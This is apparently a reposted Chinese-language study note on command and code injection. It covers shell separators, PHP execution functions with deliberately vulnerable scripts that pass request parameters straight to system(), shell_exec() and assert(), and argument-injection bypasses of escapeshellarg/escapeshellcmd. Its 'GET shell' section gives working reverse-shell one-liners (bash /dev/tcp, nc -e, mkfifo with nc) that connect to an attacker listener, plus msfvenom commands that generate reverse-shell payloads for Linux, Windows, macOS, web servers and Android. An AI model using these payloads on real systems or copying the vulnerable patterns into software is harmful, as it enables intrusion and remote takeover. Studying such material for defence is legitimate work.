命令注入與代碼注入


一、區別

命令注入:直接執行系統中的指令
代碼注入:靠執行腳本來調用系統命令

二、命令連接符

符號 說明
; 前后命令依次執行 注意前后順序,若更變目錄,則必須在“一句”指令內
|| 前命令執行失敗后才執行后命令 -
&& 前命令執行成功后才執行后命令 -
& 前台執行后任務,后台執行前任務 如 a&b&c 則顯示c的執行信息,a b在后台執行
| 管道,只輸出后者的命令 當第一條命令失敗時,它仍然會執行第二條命令
``(反引號,僅linux) 即命令替換,echo `date`,輸出系統時間 使用反引號運算符的效果與函數shell_exec()相同,但在激活了安全模式或者關閉了shell_exec()時是無效的
$(command) 這是命令替換的不同符號。與反引號效果一樣。echo $(date),輸出系統時間. 按理說更推薦用這種方法,而不是反引號。

注:

三、命令執行函數

PHP

  1. systempassthru:用來執行一個外部的應用程序並將相應的執行結果輸出

string system(string command, int&return_var)

  • command:執行的命令
  • return_var:命令執行后的狀態
<?php
if($_REQUEST['cmd']){
      $str=$_REQUEST['cmd'];
      system($str); //關鍵 
      // passthru($str); //替換,一樣的效果
}
?>

構造參數http://127.0.0.1/Command_Execution_test1.php?cmd=ipconfig,有:

  1. exec:可以用來執行一個外部的應用程序

string exec (string command, array& output, int & return_var)

  • command:執行的命令
  • output:命令執行后的輸出
  • return_var:命令執行后的狀態
<?php
if($_REQUEST['cmd']){
      $str=$_REQUEST['cmd'];
      print exec($str); //關鍵
}
?>

構造與之前的一樣。

  1. shell_exec:執行shell命令並返回輸出的字符串

string shell_exec (string command)

  • command:執行的命令。
<?php
if($_GET['cmd']){
      $str=$_GET['cmd'];
      $output = shell_exec($str);//關鍵
      echo "<pre>$output</pre>";
}
?>

構造與之前的一樣。

  1. 反引號與$(command)
<?php
if($_REQUEST['cmd']){
      $str=$_REQUEST['cmd'];
      print `$str`;
      // print $($str)) //替換:$(command),效果一樣
}
?>

構造與之前的一樣。

  1. popenproc_popen:函數用來打開進程文件指針,打開一個該進程的管道,接下來便可以對該進程進行操作,可以執行OS命令,但是不返回命令結果。(第一個是單向,第二個是雙向),出現得比較少

popen (string $command , string $mode ): resource
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
proc_open() 提供了更加強大的控制程序執行的能力(參考

<?php
if($_GET['cmd']){
	$str=$_GET['cmd'];
	$handle=popen($str,'r');
	pclose($handle);
}
?>

構造參數:http://127.0.0.1/Command_Execution_test4.php?cmd=ipconfig>>1.txt,可以在目錄下看到1.txt

  1. asserteval:都是動態執行命令,此命令不是系統的cmd命令哦。
<?php
if($_GET['cmd']){
      $str=$_GET['cmd'];
      assert($str); //執行的是PHP中的命令函數
}
?>

構造參數1:http://127.0.0.1/Command_Execution_test2.php?cmd=print_r(scandir(%27../%27))

構造參數2:http://127.0.0.1/Command_Execution_test2.php?cmd=phpinfo()

  1. pcntl_exec

參考鏈接:

  1. https://www.cnblogs.com/P201821460033/p/13699591.html
  2. https://blog.51cto.com/wt7315/1884368
  3. https://www.anquanke.com/post/id/107336
  4. https://blog.csdn.net/weixin_42348709/article/details/90400360
  5. https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw
  6. https://chybeta.github.io/2017/08/15/命令執行的一些繞過技巧/

三、繞過

3.1 escapeshellarg與escapeshellcmd(參數注入)

PHP內置的命令執行函數,都只接受一個“字符串”作為參數。而在內核中,這個字符串將被直接作為一條shell命令來調用,這種情況下就極為容易出現命令注入漏洞。因此,php准備了兩個過濾函數(就是題目的兩個)。舉個例子:
CODE

<?php
if($_GET['cmd']){
	$cmd=$_GET['cmd'];
	$para=$_GET['para'];
	echo '<strong>Original cmd:</strong>'.$cmd.' '.$para;
	echo '<br>';
	$str=escapeshellcmd($cmd.' '.$para);
	echo '<strong>After escapeshellcmd:</strong>'.$str;
	echo '<br>';
	$str=$cmd.' '.escapeshellarg($para);
	echo '<strong>After escapeshellarg:</strong>'.$str;
	echo '<br>';
	$str=escapeshellcmd($cmd.' '.escapeshellarg($para));
	echo '<strong>Final cmd:</strong>'.$str;
	echo '<br></br>RESULT:<br>';
	$output = shell_exec($str);
        echo "<pre>$output</pre>";
}
?>

URL_1http://127.0.0.1/Command_Execution_defent1.php?cmd=ping 192.168.1.1||echo 1
OUTPUT_1

Original cmd:ping 192.168.1.1||echo 1
After escapeshellcmd:ping 192.168.1.1^|^|echo 1
After escapeshellarg:ping "192.168.1.1||echo 1"
Final cmd:ping ^"192.168.1.1^|^|echo 1^"

RESULT:

Ping 請求找不到主機 192.168.1.1||echo 1。請檢查該名稱,然后重試。

注:ping ^"192.168.1.1^",這個指令竟然能執行!

URL_2http://127.0.0.1/Command_Execution_defent1.php?cmd=ping&para=-n 2 192.168.1.1
OUTPUT_2

Original cmd:ping -n 2 192.168.1.1
After escapeshellcmd:ping -n 2 192.168.1.1
After escapeshellarg:ping "-n 2 192.168.1.1"
Final cmd:ping ^"-n 2 192.168.1.1^"

RESULT:

必須為選項 -n 2 192.168.1.1 提供值。

由此可見兩者的功能

函數 說明
escapeshellarg 1. 防止出現第二個參數(只能有一個參數)
2. 因整體para加引號,所以不能執行其他指令
escapeshellcmd 1. 可以指定不限制數量的參數
2. 防止執行多個命令(黑名單禁止分號,&等符號)

但是,我們仍然可以將參數傳給第一個指令,也就是可以將新選項傳遞給命令。這就可能構成參數注入
如URL_2,我們仍然可以傳遞多個參數,這樣,就可以利用新選項執行命令(有find -exec ?tar --use-compress-program ?
而URL_1,我們看到整一個para變成一個參數,這樣,若有選項[option]可以執行命令,則可以整體傳遞過去(有mysql -uuser -ppassword -e ! id

還有一種比較娛樂的例子:https://www.cnblogs.com/yxwkf/p/4681925.html

參考鏈接

  1. https://paper.seebug.org/164/#0x00
  2. https://www.anquanke.com/post/id/107336
  3. https://zhuanlan.zhihu.com/p/36591451
  4. https://www.freebuf.com/articles/network/166385.html

3.2 常見繞過

字符 繞過例子
空格 {substr{10}{1}{$tod_log}} -
/ ${substr{0}{1}{$spool_directory}} -

推薦:

  1. 常用繞過
  2. 通配符繞過

四、GET shell

4.1 反彈shell

反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標准shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。為什么要反彈,什么是反彈?先說正向鏈接,是攻擊者連接被害者,而反彈就是被害者主動連接攻擊者。這樣做的原因是正向連接困難(如受害主機ip不斷更換,有防火牆等)。【參考

常見反彈shell:(重點在於理解重定向)

bashbash -i >& /dev/tcp/10.10.10.1/6666 0>&1

  1. 標准輸入輸出有三種:0=stdin(輸入);1=stdout(輸出);2=stderr(錯誤);
  2. 重定向符號(<,>):<表示輸入重定向,>表示輸出重定向;
  3. bash -i:表示交互式shell(你來我往)
  4. >>&:舉個例子echo 1>2表示將標准輸出stdout輸出到2這個文件,而echo 1>&2表示將標准輸出stdout輸出到標准輸出stderr里頭。&的作用不是后台運行,&<>連用是為了將純數字名文件和文件描述符區分開。再舉個例子:echo '1'>1表示將字符1輸出到文件1
  5. /dev/tcp/10.10.10.1/6666:體現linux一切皆是文件的思想,當然,這個文件實際是不存在的。
  6. >& /dev/tcp/10.10.10.1/6666:>&word&>word都表示的是把標准輸出和標准錯誤同時重定向到某個文件,都相當於>word 2>&1`。即,把標准輸出定向到文件6666中,也把標准錯誤定向到標准輸出中(然后再定向到文件6666中)。總的來說,把標准輸出與標准錯誤都定向到文件6666中。
  7. 0>&1:表示將標准輸入重定向到標准輸出里面
  8. 整合一下:建立一個交互式shell,將標准輸出與標准錯誤定向到鏈接6767的端口上,同時將6767端口上的輸出作為本機的輸入。實現鏈接6767端口的攻擊機能在受害機(執行shell的)上執行命令並獲取信息。

例子

  1. 主機(10.10.10.1),使用netcat,對6666端口進行監聽,命令如下nc.exe lvp 6666。其中l指listen,v指交互,p指port端口
  2. 受害機執行命令bash -i >& /dev/tcp/10.10.10.1/6666 0>&1
  3. 得到畫面如下:

NetCat:使用nc中的-e選項,程序重定向,一旦連接,就執行。若無-e選項,則使用另外一種方式。
例子1

  1. 主機(10.10.10.1),使用netcat,對6666端口進行監聽,命令如下nc.exe lvp 6666
  2. 受害機執行命令1nc -e /bin/sh 10.10.10.1 6666,連接10.10.10.1的同時重定向shell給主機。
    或者執行命令2rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 6666 >/tmp/f
  3. 得到畫面如下:
    命令1
    命令2

4.2 msf getshell

Msfvenom

生成木馬/getshell腳本。生成方式:

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< 監聽ip> LPORT=< 監聽端口> -f elf > shell.elf

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f exe > shell.exe

PS
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f psh-reflection >xxx.ps1

Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f macho > shell.machoWeb Payloads

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f war > shell.war
Scripting Payloads

Python
msfvenom -p cmd/unix/reverse_python LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.py

Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.sh

Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.pl

APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> R > /1.apk

Meterpreter

包括入侵與后滲透等內容。

以上不詳細說了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM